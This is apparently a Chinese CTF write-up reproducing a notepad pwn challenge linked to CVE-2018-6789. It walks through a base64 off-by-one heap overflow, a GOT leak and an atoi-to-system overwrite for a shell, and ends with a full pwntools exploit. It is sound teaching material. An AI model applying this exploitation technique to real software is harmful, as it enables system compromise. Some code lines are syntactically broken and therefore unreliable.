2018科來杯PWN復現(二)



這道題官方 WP 說是CVE-2018-6789,原本想先復現一下漏洞再來看題,可是真實的漏洞比題目複雜,就又滾回來復現這道題目了Orzpython

題目地址:linux

https://pan.baidu.com/s/1_rwQCWIeII8zTQSdkTgPVwgit

提取碼:jpzxgithub

參考:web

https://leeeddin.github.io/cve-2018-6789-off-by-one/數組

整 EXP 放後面吧否則影響閱讀微信



程序本身會申請 0x30 大小的 chunk(malloc(0x28) 可是要對齊因此 0x30)用來直接存放 name、base64 解碼後的 password 的指針以及 content 的指針,同時申請的這個會被放到 bss 段的 ptr 數組上面,後面把這個程序申請的 chunk 稱爲 note_header編輯器



說一下漏洞點:佈局

前置知識:Base64編碼C語言實現編碼

在涉及 password 的時候會 malloc 相應的 size,經過對 base64 編碼的瞭解,咱們已經知道了 base64 編碼後應該是 4 的倍數,它將會被解碼爲 3 的倍數的長度,而後下面的代碼中給了 3n + 1 的空間,是沒有問題的



可是若是構造一個 4n+3 的 base64 編碼去讓他解碼用到的就是 3n+2 就 off by one 了

例如:123 通過 base64 編碼以後是:MTIz,在末尾加上字符:'MTI',去解碼的時候會解碼爲 12312

原本是 4*1,加上兩個以後就是 4*1+3 而後解碼出來是 3*1+2



同時會在 *(_DWORD *)(note_header + 36) = 1 標註是否設置了 password



delete 的時候分別 free 掉 password 與 content 的指針,可是沒有置爲 null,僅僅是把 bss 段存放的 note_header 給刪掉了



一開始這樣去 malloc

passwd = "yichen".encode("base64") + "\x00"
addnote('1'*0x10,passwd,0x1c0,'1')
addnote('2'*0x10,passwd,0x20,'2')
addnote('3'*0x10,passwd,0x20,'3')

佈局是這樣的


delnote('1'*0x10,passwd)
#free(0x20)、free(0x1d0)、free(0x30)
addnote('1'*0x10,passwd,0x30,'aaaaaaa')
#malloc(0x30)、malloc(0x20)、malloc(0x40)
editnote('2'*0x10, passwd, 0x88-1"b"*0x10)
#free(0x30)、malloc(0x90)
editnote('3'*0x10, passwd, 0xf8-1"c"*0x10)
#free(0x30)、malloc(0x100)


而後刪掉第 1 個(他是用 name 來選擇的,咱們就用 name 的值來交流啦),而後 malloc 0x30 去分割那個比較大的 chunk,再編輯一下以前的 content,此時佈局以下



本來 1 的 content 大小 0x1d0 被分爲 0x40+0x90+0x100,空出來了 2 的 content(0x603270) 與 3 的 content(0x6032f0) 兩個 0x30 大小的

注意到在最後多出來一個 0x20 大小的 free chunk 是 delete 的時候檢查 password 留下的


這時候去作以下編輯

delnote("2"*0x10, passwd)
#檢查password應該會直接用最後面的0x20的free chunk
#free(0x20)、free(0x90)、free(0x30)
evilpd = ("A"*0x88+'1').encode("base64").replace("\n","")[:-1]+"\x00"4
addnote("2"*0x10, evilpd, 0x20-1"padding")
#再去create的時候用上面free的0x30存放程序本身申請的那個note_header
#password會放到0x90那個地方,而content會放到前面剩下的一個0x30那裏


password 的 off by one 會修改下面那個 0x100 大小的爲 0x130


atoi_got = 0x602090
pwd2addr = 0x4019E6 #name exist
payload = ""
payload += "A"*0xf0
payload += p64(0x100)
payload += p64(0x31)
payload += '2'*0x10
payload += p64(pwd2addr)
payload += p64(atoi_got)
payload += p64(0x000000100001000)
editnote("3"*0x10,passwd,0x128-1,payload)
newpd = "name exist\x00".encode("base64")
shownote("2"*0x10,newpd)
atoiaddr = u64(io.recv(6).ljust(8,'\x00'))
libcbase = atoiaddr - libc.symbols['atoi']
sysaddr = libcbase + libc.symbols['system']

而後 edit 的時候就能夠直接覆蓋掉下面那塊 0x30大小的第二個的 note_header,有個問題是須要 password,能夠把 password 指針改成存在的一個字符串的地址,好比:0x4019E6,再去 show 的時候能夠拿到 atoi 的 got 地址,算出 system 的地址




而後 edit2 把 atoi 的地址改成 system 的地址,而後發一個 '/bin/sh' 就能夠啦

payload = p64(sysaddr)
editnote("2"*0x10,newpd,0x10,payload)
p.sendlineafter('choice> ','/bin/sh\x00')
p.interactive()

參考的師傅的 exp 沒有發送 '/bin/sh' 也能夠!?不知道什麼緣由

完整 EXP:

#!/usr/bin/env python
# -*- coding=utf8 -*-
from pwn import *
p = process('./notepad')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'info'

def addnote(name,password,size,content):
 p.sendlineafter('choice> ','1')
 p.sendafter('name> ',name)
 p.sendlineafter('no)> ','1')
 p.sendlineafter('word> ',password)
 p.sendlineafter('size> ',str(size))
 p.sendlineafter('content> ',content)

def shownote(name,passwd):
 p.sendlineafter('choice> ','2')
 p.sendafter('name> ',name)
 p.sendlineafter('word> ',passwd)
 
def editnote(name,passwd,size,content):
 p.sendlineafter('choice> ','3')
 p.sendafter('name> ',name)
 p.sendlineafter('word> ',passwd)
 p.sendlineafter('no)> ','0')
 p.sendlineafter('size> ',str(size))
 p.sendlineafter('content> ',content)
 
def delnote(name,passwd):
 p.sendlineafter('choice> ','4')
 p.sendafter('name> ',name)
 p.sendlineafter('password> ',passwd)

passwd = "yichen".encode("base64") + "\x00"
addnote('1'*0x10,passwd,0x1c0,'1')
addnote('2'*0x10,passwd,0x20,'2')
addnote('3'*0x10,passwd,0x20,'3')
delnote('1'*0x10,passwd)
addnote('1'*0x10,passwd,0x30,'aaaaaaa')
editnote('2'*0x10, passwd, 0x88-1"b"*0x10)
editnote('3'*0x10, passwd, 0xf8-1"c"*0x10)

delnote("2"*0x10, passwd)
evilpd = ("A"*0x88+'1').encode("base64").replace("\n","")[:-1]+"\x00"
addnote("2"*0x10, evilpd, 0x20-1"padding")

atoi_got = 0x602090
pwd2addr = 0x4019E6 #name exist\x00
payload = ""
payload += "A"*0xf0
payload += p64(0x100)
payload += p64(0x31)
payload += '2'*0x10
payload += p64(pwd2addr)
payload += p64(atoi_got)
payload += p64(0x000000100001000)
editnote("3"*0x10,passwd,0x128-1,payload)

newpd = "name exist\x00".encode("base64")
shownote("2"*0x10,newpd)
atoiaddr = u64(p.recv(6).ljust(8,'\x00'))
libcbase = atoiaddr - libc.symbols['atoi']
sysaddr = libcbase + libc.symbols['system']

payload = p64(sysaddr)
editnote("2"*0x10,newpd,0x10,payload)
p.sendlineafter('choice> ','/bin/sh\x00')
p.interactive()

本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索